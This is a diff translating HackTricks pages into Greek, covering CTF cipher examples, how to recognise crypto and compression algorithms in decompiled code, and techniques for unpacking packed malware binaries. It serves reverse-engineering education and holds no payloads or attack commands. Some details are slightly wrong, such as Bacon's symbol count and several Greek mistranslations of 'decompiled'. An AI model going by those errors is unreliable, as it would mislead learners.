- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
|
||||
|
||||
### A1Z26
|
||||
|
||||
Letters to their numerical value
|
||||
|
||||
Γράμματα στην αριθμητική τους αξία
|
||||
```
|
||||
8 15 12 1 3 1 18 1 3 15 12 1
|
||||
```
|
||||
|
||||
### Affine Cipher Encode
|
||||
|
||||
Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter
|
||||
|
||||
Γράμμα σε αριθμό `(ax+b)%26` (_a_ και _b_ είναι τα κλειδιά και _x_ είναι το γράμμα) και το αποτέλεσμα πίσω σε γράμμα
|
||||
```
|
||||
krodfdudfrod
|
||||
```
|
||||
|
||||
### SMS Code
|
||||
|
||||
**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\
|
||||
For example: 2=A, 22=B, 222=C, 3=D...\
|
||||
You can identify this code because you will see\*\* several numbers repeated\*\*.
|
||||
**Multitap** [αντικαθιστά ένα γράμμα](https://www.dcode.fr/word-letter-change) με επαναλαμβανόμενους ψηφίους που καθορίζονται από τον αντίστοιχο κωδικό πλήκτρου σε ένα κινητό [πληκτρολόγιο τηλεφώνου](https://www.dcode.fr/phone-keypad-cipher) (Αυτή η λειτουργία χρησιμοποιείται κατά την αποστολή SMS).\
|
||||
Για παράδειγμα: 2=A, 22=B, 222=C, 3=D...\
|
||||
Μπορείτε να αναγνωρίσετε αυτόν τον κωδικό γιατί θα δείτε\*\* αρκετούς αριθμούς επαναλαμβανόμενους\*\*.
|
||||
|
||||
You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
||||
Μπορείτε να αποκωδικοποιήσετε αυτόν τον κωδικό στο: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
||||
|
||||
### Bacon Code
|
||||
|
||||
Substitude each letter for 4 As or Bs (or 1s and 0s)
|
||||
|
||||
Αντικαταστήστε κάθε γράμμα με 4 Α ή Β (ή 1s και 0s)
|
||||
```
|
||||
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
|
||||
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
|
||||
```
|
||||
|
||||
### Runes
|
||||
|
||||

|
||||
|
||||
## Compression
|
||||
## Συμπίεση
|
||||
|
||||
**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers.
|
||||
**Raw Deflate** και **Raw Inflate** (μπορείτε να βρείτε και τα δύο στο Cyberchef) μπορούν να συμπιέσουν και να αποσυμπιέσουν δεδομένα χωρίς κεφαλίδες.
|
||||
|
||||
## Easy Crypto
|
||||
## Εύκολη Κρυπτογράφηση
|
||||
|
||||
### XOR - Autosolver
|
||||
### XOR - Αυτόματη Λύση
|
||||
|
||||
- [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
|
||||
|
||||
### Bifid
|
||||
|
||||
A keywork is needed
|
||||
|
||||
Απαιτείται μια λέξη-κλειδί
|
||||
```
|
||||
fgaargaamnlunesuneoa
|
||||
```
|
||||
|
||||
### Vigenere
|
||||
|
||||
A keywork is needed
|
||||
|
||||
Απαιτείται μια λέξη-κλειδί
|
||||
```
|
||||
wodsyoidrods
|
||||
```
|
||||
|
||||
- [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
|
||||
- [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
|
||||
- [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
|
||||
|
||||
## Strong Crypto
|
||||
## Ισχυρή Κρυπτογράφηση
|
||||
|
||||
### Fernet
|
||||
|
||||
2 base64 strings (token and key)
|
||||
|
||||
2 base64 strings (token και key)
|
||||
```
|
||||
Token:
|
||||
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
|
||||
@ -272,19 +245,16 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC
|
||||
Key:
|
||||
-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
|
||||
```
|
||||
|
||||
- [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
|
||||
|
||||
### Samir Secret Sharing
|
||||
|
||||
A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_).
|
||||
|
||||
Ένα μυστικό χωρίζεται σε X μέρη και για να το ανακτήσεις χρειάζεσαι Y μέρη (_Y <=X_).
|
||||
```
|
||||
8019f8fa5879aa3e07858d08308dc1a8b45
|
||||
80223035713295bddf0b0bd1b10a5340b89
|
||||
803bc8cf294b3f83d88e86d9818792e80cd
|
||||
```
|
||||
|
||||
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
|
||||
|
||||
### OpenSSL brute-force
|
||||
@ -292,7 +262,7 @@ A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_).
|
||||
- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
|
||||
- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
|
||||
|
||||
## Tools
|
||||
## Εργαλεία
|
||||
|
||||
- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
|
||||
- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
|
||||
|
||||
@ -1,184 +1,184 @@
|
||||
# Cryptographic/Compression Algorithms
|
||||
# Κρυπτογραφικοί/Συμπιεστικοί Αλγόριθμοι
|
||||
|
||||
## Cryptographic/Compression Algorithms
|
||||
## Κρυπτογραφικοί/Συμπιεστικοί Αλγόριθμοι
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Identifying Algorithms
|
||||
## Αναγνώριση Αλγορίθμων
|
||||
|
||||
If you ends in a code **using shift rights and lefts, xors and several arithmetic operations** it's highly possible that it's the implementation of a **cryptographic algorithm**. Here it's going to be showed some ways to **identify the algorithm that it's used without needing to reverse each step**.
|
||||
Αν καταλήξετε σε έναν κώδικα **χρησιμοποιώντας shift δεξιά και αριστερά, xors και διάφορες αριθμητικές λειτουργίες** είναι πολύ πιθανό ότι είναι η υλοποίηση ενός **κρυπτογραφικού αλγορίθμου**. Εδώ θα παρουσιαστούν μερικοί τρόποι για να **αναγνωρίσετε τον αλγόριθμο που χρησιμοποιείται χωρίς να χρειάζεται να αντιστρέψετε κάθε βήμα**.
|
||||
|
||||
### API functions
|
||||
### Λειτουργίες API
|
||||
|
||||
**CryptDeriveKey**
|
||||
|
||||
If this function is used, you can find which **algorithm is being used** checking the value of the second parameter:
|
||||
Αν αυτή η λειτουργία χρησιμοποιείται, μπορείτε να βρείτε ποιος **αλγόριθμος χρησιμοποιείται** ελέγχοντας την τιμή της δεύτερης παραμέτρου:
|
||||
|
||||
.png>)
|
||||
|
||||
Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
Ελέγξτε εδώ τον πίνακα των πιθανών αλγορίθμων και των ανατεθειμένων τιμών τους: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
**RtlCompressBuffer/RtlDecompressBuffer**
|
||||
|
||||
Compresses and decompresses a given buffer of data.
|
||||
Συμπιέζει και αποσυμπιέζει ένα δεδομένο buffer δεδομένων.
|
||||
|
||||
**CryptAcquireContext**
|
||||
|
||||
From [the docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): The **CryptAcquireContext** function is used to acquire a handle to a particular key container within a particular cryptographic service provider (CSP). **This returned handle is used in calls to CryptoAPI** functions that use the selected CSP.
|
||||
Από [τα docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): Η λειτουργία **CryptAcquireContext** χρησιμοποιείται για να αποκτήσει ένα handle σε ένα συγκεκριμένο key container εντός ενός συγκεκριμένου κρυπτογραφικού παρόχου υπηρεσιών (CSP). **Αυτό το επιστρεφόμενο handle χρησιμοποιείται σε κλήσεις σε λειτουργίες CryptoAPI** που χρησιμοποιούν το επιλεγμένο CSP.
|
||||
|
||||
**CryptCreateHash**
|
||||
|
||||
Initiates the hashing of a stream of data. If this function is used, you can find which **algorithm is being used** checking the value of the second parameter:
|
||||
Αρχίζει την καταμέτρηση ενός ρεύματος δεδομένων. Αν αυτή η λειτουργία χρησιμοποιείται, μπορείτε να βρείτε ποιος **αλγόριθμος χρησιμοποιείται** ελέγχοντας την τιμή της δεύτερης παραμέτρου:
|
||||
|
||||
.png>)
|
||||
|
||||
\
|
||||
Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
Ελέγξτε εδώ τον πίνακα των πιθανών αλγορίθμων και των ανατεθειμένων τιμών τους: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
### Code constants
|
||||
### Σταθερές Κώδικα
|
||||
|
||||
Sometimes it's really easy to identify an algorithm thanks to the fact that it needs to use a special and unique value.
|
||||
Μερικές φορές είναι πολύ εύκολο να αναγνωρίσετε έναν αλγόριθμο χάρη στο γεγονός ότι χρειάζεται να χρησιμοποιήσει μια ειδική και μοναδική τιμή.
|
||||
|
||||
.png>)
|
||||
|
||||
If you search for the first constant in Google this is what you get:
|
||||
Αν ψάξετε για την πρώτη σταθερά στο Google αυτό είναι που θα βρείτε:
|
||||
|
||||
.png>)
|
||||
|
||||
Therefore, you can assume that the decompiled function is a **sha256 calculator.**\
|
||||
You can search any of the other constants and you will obtain (probably) the same result.
|
||||
Επομένως, μπορείτε να υποθέσετε ότι η αποσυμπιεσμένη λειτουργία είναι ένας **υπολογιστής sha256.**\
|
||||
Μπορείτε να αναζητήσετε οποιαδήποτε από τις άλλες σταθερές και θα αποκτήσετε (πιθανώς) το ίδιο αποτέλεσμα.
|
||||
|
||||
### data info
|
||||
### πληροφορίες δεδομένων
|
||||
|
||||
If the code doesn't have any significant constant it may be **loading information from the .data section**.\
|
||||
You can access that data, **group the first dword** and search for it in google as we have done in the section before:
|
||||
Αν ο κώδικας δεν έχει καμία σημαντική σταθερά μπορεί να είναι **φορτώνοντας πληροφορίες από την ενότητα .data**.\
|
||||
Μπορείτε να αποκτήσετε πρόσβαση σε αυτά τα δεδομένα, **ομαδοποιώντας το πρώτο dword** και να το αναζητήσετε στο Google όπως κάναμε στην προηγούμενη ενότητα:
|
||||
|
||||
.png>)
|
||||
|
||||
In this case, if you look for **0xA56363C6** you can find that it's related to the **tables of the AES algorithm**.
|
||||
Σε αυτή την περίπτωση, αν ψάξετε για **0xA56363C6** μπορείτε να βρείτε ότι σχετίζεται με τις **πίνακες του αλγορίθμου AES**.
|
||||
|
||||
## RC4 **(Symmetric Crypt)**
|
||||
## RC4 **(Συμμετρική Κρυπτογράφηση)**
|
||||
|
||||
### Characteristics
|
||||
### Χαρακτηριστικά
|
||||
|
||||
It's composed of 3 main parts:
|
||||
Αποτελείται από 3 κύρια μέρη:
|
||||
|
||||
- **Initialization stage/**: Creates a **table of values from 0x00 to 0xFF** (256bytes in total, 0x100). This table is commonly call **Substitution Box** (or SBox).
|
||||
- **Scrambling stage**: Will **loop through the table** crated before (loop of 0x100 iterations, again) creating modifying each value with **semi-random** bytes. In order to create this semi-random bytes, the RC4 **key is used**. RC4 **keys** can be **between 1 and 256 bytes in length**, however it is usually recommended that it is above 5 bytes. Commonly, RC4 keys are 16 bytes in length.
|
||||
- **XOR stage**: Finally, the plain-text or cyphertext is **XORed with the values created before**. The function to encrypt and decrypt is the same. For this, a **loop through the created 256 bytes** will be performed as many times as necessary. This is usually recognized in a decompiled code with a **%256 (mod 256)**.
|
||||
- **Στάδιο αρχικοποίησης/**: Δημιουργεί έναν **πίνακα τιμών από 0x00 έως 0xFF** (256bytes συνολικά, 0x100). Αυτός ο πίνακας ονομάζεται συνήθως **Substitution Box** (ή SBox).
|
||||
- **Στάδιο ανακατανομής**: Θα **περάσει από τον πίνακα** που δημιουργήθηκε πριν (κύκλος 0x100 επαναλήψεων, ξανά) δημιουργώντας τροποποιώντας κάθε τιμή με **ημι-τυχαία** bytes. Για να δημιουργηθούν αυτά τα ημι-τυχαία bytes, χρησιμοποιείται το κλειδί RC4. Τα **κλειδιά RC4** μπορούν να είναι **μεταξύ 1 και 256 bytes σε μήκος**, ωστόσο συνήθως συνιστάται να είναι πάνω από 5 bytes. Συνήθως, τα κλειδιά RC4 είναι 16 bytes σε μήκος.
|
||||
- **Στάδιο XOR**: Τέλος, το απλό κείμενο ή το κρυπτογραφημένο κείμενο είναι **XORed με τις τιμές που δημιουργήθηκαν πριν**. Η λειτουργία για την κρυπτογράφηση και την αποκρυπτογράφηση είναι η ίδια. Για αυτό, θα εκτελεστεί ένας **κύκλος μέσω των δημιουργημένων 256 bytes** όσες φορές είναι απαραίτητο. Αυτό συνήθως αναγνωρίζεται σε έναν αποσυμπιεσμένο κώδικα με ένα **%256 (mod 256)**.
|
||||
|
||||
> [!NOTE]
|
||||
> **In order to identify a RC4 in a disassembly/decompiled code you can check for 2 loops of size 0x100 (with the use of a key) and then a XOR of the input data with the 256 values created before in the 2 loops probably using a %256 (mod 256)**
|
||||
> **Για να αναγνωρίσετε ένα RC4 σε έναν αποσυναρμολογημένο/αποσυμπιεσμένο κώδικα μπορείτε να ελέγξετε για 2 κύκλους μεγέθους 0x100 (με τη χρήση ενός κλειδιού) και στη συνέχεια ένα XOR των δεδομένων εισόδου με τις 256 τιμές που δημιουργήθηκαν πριν στους 2 κύκλους πιθανώς χρησιμοποιώντας ένα %256 (mod 256)**
|
||||
|
||||
### **Initialization stage/Substitution Box:** (Note the number 256 used as counter and how a 0 is written in each place of the 256 chars)
|
||||
### **Στάδιο αρχικοποίησης/Πίνακας υποκατάστασης:** (Σημειώστε τον αριθμό 256 που χρησιμοποιείται ως μετρητής και πώς γράφεται ένα 0 σε κάθε θέση των 256 χαρακτήρων)
|
||||
|
||||
.png>)
|
||||
|
||||
### **Scrambling Stage:**
|
||||
### **Στάδιο ανακατανομής:**
|
||||
|
||||
.png>)
|
||||
|
||||
### **XOR Stage:**
|
||||
### **Στάδιο XOR:**
|
||||
|
||||
.png>)
|
||||
|
||||
## **AES (Symmetric Crypt)**
|
||||
## **AES (Συμμετρική Κρυπτογράφηση)**
|
||||
|
||||
### **Characteristics**
|
||||
### **Χαρακτηριστικά**
|
||||
|
||||
- Use of **substitution boxes and lookup tables**
|
||||
- It's possible to **distinguish AES thanks to the use of specific lookup table values** (constants). _Note that the **constant** can be **stored** in the binary **or created**_ _**dynamically**._
|
||||
- The **encryption key** must be **divisible** by **16** (usually 32B) and usually an **IV** of 16B is used.
|
||||
- Χρήση **πινακων υποκατάστασης και πινάκων αναζήτησης**
|
||||
- Είναι δυνατόν να **διακρίνετε το AES χάρη στη χρήση συγκεκριμένων τιμών πινάκων αναζήτησης** (σταθερές). _Σημειώστε ότι η **σταθερά** μπορεί να είναι **αποθηκευμένη** στο δυαδικό **ή να δημιουργηθεί** _**δυναμικά**._
|
||||
- Το **κλειδί κρυπτογράφησης** πρέπει να είναι **διαιρέσιμο** με **16** (συνήθως 32B) και συνήθως χρησιμοποιείται ένα **IV** 16B.
|
||||
|
||||
### SBox constants
|
||||
### Σταθερές SBox
|
||||
|
||||
.png>)
|
||||
|
||||
## Serpent **(Symmetric Crypt)**
|
||||
## Serpent **(Συμμετρική Κρυπτογράφηση)**
|
||||
|
||||
### Characteristics
|
||||
### Χαρακτηριστικά
|
||||
|
||||
- It's rare to find some malware using it but there are examples (Ursnif)
|
||||
- Simple to determine if an algorithm is Serpent or not based on it's length (extremely long function)
|
||||
- Είναι σπάνιο να βρείτε κάποιο malware που να το χρησιμοποιεί αλλά υπάρχουν παραδείγματα (Ursnif)
|
||||
- Απλό να προσδιορίσετε αν ένας αλγόριθμος είναι Serpent ή όχι με βάση το μήκος του (εξαιρετικά μακρά λειτουργία)
|
||||
|
||||
### Identifying
|
||||
### Αναγνώριση
|
||||
|
||||
In the following image notice how the constant **0x9E3779B9** is used (note that this constant is also used by other crypto algorithms like **TEA** -Tiny Encryption Algorithm).\
|
||||
Also note the **size of the loop** (**132**) and the **number of XOR operations** in the **disassembly** instructions and in the **code** example:
|
||||
Στην παρακάτω εικόνα παρατηρήστε πώς χρησιμοποιείται η σταθερά **0x9E3779B9** (σημειώστε ότι αυτή η σταθερά χρησιμοποιείται επίσης από άλλους κρυπτογραφικούς αλγόριθμους όπως **TEA** -Tiny Encryption Algorithm).\
|
||||
Επίσης σημειώστε το **μέγεθος του κύκλου** (**132**) και τον **αριθμό των λειτουργιών XOR** στις **εντολές αποσυναρμολόγησης** και στο **παράδειγμα κώδικα**:
|
||||
|
||||
.png>)
|
||||
|
||||
As it was mentioned before, this code can be visualized inside any decompiler as a **very long function** as there **aren't jumps** inside of it. The decompiled code can look like the following:
|
||||
Όπως αναφέρθηκε προηγουμένως, αυτός ο κώδικας μπορεί να οπτικοποιηθεί μέσα σε οποιονδήποτε αποσυμπιεστή ως μια **πολύ μακρά λειτουργία** καθώς **δεν υπάρχουν άλματα** μέσα σε αυτόν. Ο αποσυμπιεσμένος κώδικας μπορεί να φαίνεται όπως το εξής:
|
||||
|
||||
.png>)
|
||||
|
||||
Therefore, it's possible to identify this algorithm checking the **magic number** and the **initial XORs**, seeing a **very long function** and **comparing** some **instructions** of the long function **with an implementation** (like the shift left by 7 and the rotate left by 22).
|
||||
Επομένως, είναι δυνατόν να αναγνωρίσετε αυτόν τον αλγόριθμο ελέγχοντας τον **μαγικό αριθμό** και τους **αρχικούς XORs**, βλέποντας μια **πολύ μακρά λειτουργία** και **συγκρίνοντας** κάποιες **εντολές** της μακράς λειτουργίας **με μια υλοποίηση** (όπως το shift αριστερά κατά 7 και την περιστροφή αριστερά κατά 22).
|
||||
|
||||
## RSA **(Asymmetric Crypt)**
|
||||
## RSA **(Ασύμμετρη Κρυπτογράφηση)**
|
||||
|
||||
### Characteristics
|
||||
### Χαρακτηριστικά
|
||||
|
||||
- More complex than symmetric algorithms
|
||||
- There are no constants! (custom implementation are difficult to determine)
|
||||
- KANAL (a crypto analyzer) fails to show hints on RSA ad it relies on constants.
|
||||
- Πιο περίπλοκος από τους συμμετρικούς αλγόριθμους
|
||||
- Δεν υπάρχουν σταθερές! (οι προσαρμοσμένες υλοποιήσεις είναι δύσκολο να προσδιοριστούν)
|
||||
- KANAL (ένας αναλυτής κρυπτογράφησης) αποτυγχάνει να δείξει ενδείξεις για το RSA καθώς βασίζεται σε σταθερές.
|
||||
|
||||
### Identifying by comparisons
|
||||
### Αναγνώριση μέσω συγκρίσεων
|
||||
|
||||
.png>)
|
||||
|
||||
- In line 11 (left) there is a `+7) >> 3` which is the same as in line 35 (right): `+7) / 8`
|
||||
- Line 12 (left) is checking if `modulus_len < 0x040` and in line 36 (right) it's checking if `inputLen+11 > modulusLen`
|
||||
- Στη γραμμή 11 (αριστερά) υπάρχει ένα `+7) >> 3` που είναι το ίδιο με τη γραμμή 35 (δεξιά): `+7) / 8`
|
||||
- Η γραμμή 12 (αριστερά) ελέγχει αν `modulus_len < 0x040` και στη γραμμή 36 (δεξιά) ελέγχει αν `inputLen+11 > modulusLen`
|
||||
|
||||
## MD5 & SHA (hash)
|
||||
|
||||
### Characteristics
|
||||
### Χαρακτηριστικά
|
||||
|
||||
- 3 functions: Init, Update, Final
|
||||
- Similar initialize functions
|
||||
- 3 λειτουργίες: Init, Update, Final
|
||||
- Παρόμοιες λειτουργίες αρχικοποίησης
|
||||
|
||||
### Identify
|
||||
### Αναγνώριση
|
||||
|
||||
**Init**
|
||||
|
||||
You can identify both of them checking the constants. Note that the sha_init has 1 constant that MD5 doesn't have:
|
||||
Μπορείτε να αναγνωρίσετε και τους δύο ελέγχοντας τις σταθερές. Σημειώστε ότι η sha_init έχει 1 σταθερά που δεν έχει το MD5:
|
||||
|
||||
.png>)
|
||||
|
||||
**MD5 Transform**
|
||||
|
||||
Note the use of more constants
|
||||
Σημειώστε τη χρήση περισσότερων σταθερών
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
## CRC (hash)
|
||||
|
||||
- Smaller and more efficient as it's function is to find accidental changes in data
|
||||
- Uses lookup tables (so you can identify constants)
|
||||
- Μικρότερος και πιο αποδοτικός καθώς η λειτουργία του είναι να βρίσκει τυχαίες αλλαγές στα δεδομένα
|
||||
- Χρησιμοποιεί πίνακες αναζήτησης (έτσι μπορείτε να αναγνωρίσετε σταθερές)
|
||||
|
||||
### Identify
|
||||
### Αναγνώριση
|
||||
|
||||
Check **lookup table constants**:
|
||||
Ελέγξτε **σταθερές πίνακα αναζήτησης**:
|
||||
|
||||
.png>)
|
||||
|
||||
A CRC hash algorithm looks like:
|
||||
Ένας αλγόριθμος hash CRC φαίνεται όπως:
|
||||
|
||||
.png>)
|
||||
|
||||
## APLib (Compression)
|
||||
## APLib (Συμπίεση)
|
||||
|
||||
### Characteristics
|
||||
### Χαρακτηριστικά
|
||||
|
||||
- Not recognizable constants
|
||||
- You can try to write the algorithm in python and search for similar things online
|
||||
- Μη αναγνωρίσιμες σταθερές
|
||||
- Μπορείτε να προσπαθήσετε να γράψετε τον αλγόριθμο σε python και να αναζητήσετε παρόμοια πράγματα online
|
||||
|
||||
### Identify
|
||||
### Αναγνώριση
|
||||
|
||||
The graph is quiet large:
|
||||
Ο γραφικός πίνακας είναι αρκετά μεγάλος:
|
||||
|
||||
 (2) (1).png>)
|
||||
|
||||
Check **3 comparisons to recognise it**:
|
||||
Ελέγξτε **3 συγκρίσεις για να το αναγνωρίσετε**:
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
@ -1,24 +1,24 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Identifying packed binaries
|
||||
# Αναγνώριση πακεταρισμένων δυαδικών αρχείων
|
||||
|
||||
- **lack of strings**: It's common to find that packed binaries doesn't have almost any string
|
||||
- A lot of **unused strings**: Also, when a malware is using some kind of commercial packer it's common to find a lot of strings without cross-references. Even if these strings exist that doesn't mean that the binary isn't packed.
|
||||
- You can also use some tools to try to find which packer was used to pack a binary:
|
||||
- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
|
||||
- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
|
||||
- [Language 2000](http://farrokhi.net/language/)
|
||||
- **έλλειψη συμβολοσειρών**: Είναι κοινό να διαπιστώνει κανείς ότι τα πακεταρισμένα δυαδικά αρχεία δεν έχουν σχεδόν καμία συμβολοσειρά.
|
||||
- Πολλές **μη χρησιμοποιούμενες συμβολοσειρές**: Επίσης, όταν ένα κακόβουλο λογισμικό χρησιμοποιεί κάποιο είδος εμπορικού πακετάρη, είναι κοινό να βρίσκουμε πολλές συμβολοσειρές χωρίς διασταυρώσεις. Ακόμα και αν αυτές οι συμβολοσειρές υπάρχουν, αυτό δεν σημαίνει ότι το δυαδικό αρχείο δεν είναι πακεταρισμένο.
|
||||
- Μπορείτε επίσης να χρησιμοποιήσετε κάποια εργαλεία για να προσπαθήσετε να βρείτε ποιος πακετάρης χρησιμοποιήθηκε για να πακετάρει ένα δυαδικό αρχείο:
|
||||
- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
|
||||
- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
|
||||
- [Language 2000](http://farrokhi.net/language/)
|
||||
|
||||
# Basic Recommendations
|
||||
# Βασικές Συστάσεις
|
||||
|
||||
- **Start** analysing the packed binary **from the bottom in IDA and move up**. Unpackers exit once the unpacked code exit so it's unlikely that the unpacker passes execution to the unpacked code at the start.
|
||||
- Search for **JMP's** or **CALLs** to **registers** or **regions** of **memory**. Also search for **functions pushing arguments and an address direction and then calling `retn`**, because the return of the function in that case may call the address just pushed to the stack before calling it.
|
||||
- Put a **breakpoint** on `VirtualAlloc` as this allocates space in memory where the program can write unpacked code. The "run to user code" or use F8 to **get to value inside EAX** after executing the function and "**follow that address in dump**". You never know if that is the region where the unpacked code is going to be saved.
|
||||
- **`VirtualAlloc`** with the value "**40**" as an argument means Read+Write+Execute (some code that needs execution is going to be copied here).
|
||||
- **While unpacking** code it's normal to find **several calls** to **arithmetic operations** and functions like **`memcopy`** or **`Virtual`**`Alloc`. If you find yourself in a function that apparently only perform arithmetic operations and maybe some `memcopy` , the recommendation is to try to **find the end of the function** (maybe a JMP or call to some register) **or** at least the **call to the last function** and run to then as the code isn't interesting.
|
||||
- While unpacking code **note** whenever you **change memory region** as a memory region change may indicate the **starting of the unpacking code**. You can easily dump a memory region using Process Hacker (process --> properties --> memory).
|
||||
- While trying to unpack code a good way to **know if you are already working with the unpacked code** (so you can just dump it) is to **check the strings of the binary**. If at some point you perform a jump (maybe changing the memory region) and you notice that **a lot more strings where added**, then you can know **you are working with the unpacked code**.\
|
||||
However, if the packer already contains a lot of strings you can see how many strings contains the word "http" and see if this number increases.
|
||||
- When you dump an executable from a region of memory you can fix some headers using [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
|
||||
- **Ξεκινήστε** την ανάλυση του πακεταρισμένου δυαδικού αρχείου **από το κάτω μέρος στο IDA και προχωρήστε προς τα πάνω**. Οι αποπακετάρηδες τερματίζουν μόλις ο αποπακεταρισμένος κώδικας τερματίσει, οπότε είναι απίθανο ο αποπακετάρης να περάσει την εκτέλεση στον αποπακεταρισμένο κώδικα στην αρχή.
|
||||
- Αναζητήστε **JMP's** ή **CALLs** σε **καταχωρητές** ή **περιοχές** της **μνήμης**. Επίσης, αναζητήστε **συναρτήσεις που σπρώχνουν παραμέτρους και μια διεύθυνση και στη συνέχεια καλούν `retn`**, διότι η επιστροφή της συνάρτησης σε αυτή την περίπτωση μπορεί να καλέσει τη διεύθυνση που μόλις σπρώχτηκε στο στοίβα πριν την καλέσει.
|
||||
- Τοποθετήστε ένα **breakpoint** στο `VirtualAlloc`, καθώς αυτό δεσμεύει χώρο στη μνήμη όπου το πρόγραμμα μπορεί να γράψει αποπακεταρισμένο κώδικα. "τρέξτε μέχρι τον κώδικα χρήστη" ή χρησιμοποιήστε το F8 για να **φτάσετε στην τιμή μέσα στο EAX** μετά την εκτέλεση της συνάρτησης και "**ακολουθήστε αυτή τη διεύθυνση στο dump**". Ποτέ δεν ξέρετε αν αυτή είναι η περιοχή όπου θα αποθηκευτεί ο αποπακεταρισμένος κώδικας.
|
||||
- **`VirtualAlloc`** με την τιμή "**40**" ως επιχείρημα σημαίνει Ανάγνωση+Γράψιμο+Εκτέλεση (κάποιος κώδικας που χρειάζεται εκτέλεση θα αντιγραφεί εδώ).
|
||||
- **Κατά την αποπακετοποίηση** του κώδικα είναι φυσιολογικό να βρείτε **πολλές κλήσεις** σε **αριθμητικές λειτουργίες** και συναρτήσεις όπως **`memcopy`** ή **`Virtual`**`Alloc`. Αν βρεθείτε σε μια συνάρτηση που προφανώς εκτελεί μόνο αριθμητικές λειτουργίες και ίσως κάποια `memcopy`, η σύσταση είναι να προσπαθήσετε να **βρείτε το τέλος της συνάρτησης** (ίσως ένα JMP ή κλήση σε κάποιον καταχωρητή) **ή** τουλάχιστον την **κλήση στην τελευταία συνάρτηση** και να τρέξετε μέχρι εκεί καθώς ο κώδικας δεν είναι ενδιαφέρον.
|
||||
- Κατά την αποπακετοποίηση του κώδικα **σημειώστε** όποτε **αλλάζετε περιοχή μνήμης**, καθώς μια αλλαγή περιοχής μνήμης μπορεί να υποδηλώνει την **έναρξη του αποπακεταρισμένου κώδικα**. Μπορείτε εύκολα να κάνετε dump μια περιοχή μνήμης χρησιμοποιώντας το Process Hacker (process --> properties --> memory).
|
||||
- Κατά την προσπάθεια αποπακετοποίησης του κώδικα, ένας καλός τρόπος για να **γνωρίζετε αν ήδη εργάζεστε με τον αποπακεταρισμένο κώδικα** (έτσι ώστε να μπορείτε απλά να το κάνετε dump) είναι να **ελέγξετε τις συμβολοσειρές του δυαδικού αρχείου**. Αν σε κάποιο σημείο κάνετε ένα άλμα (ίσως αλλάζοντας την περιοχή μνήμης) και παρατηρήσετε ότι **προστέθηκαν πολλές περισσότερες συμβολοσειρές**, τότε μπορείτε να γνωρίζετε **ότι εργάζεστε με τον αποπακεταρισμένο κώδικα**.\
|
||||
Ωστόσο, αν ο πακετάρης περιέχει ήδη πολλές συμβολοσειρές, μπορείτε να δείτε πόσες συμβολοσειρές περιέχουν τη λέξη "http" και να δείτε αν αυτός ο αριθμός αυξάνεται.
|
||||
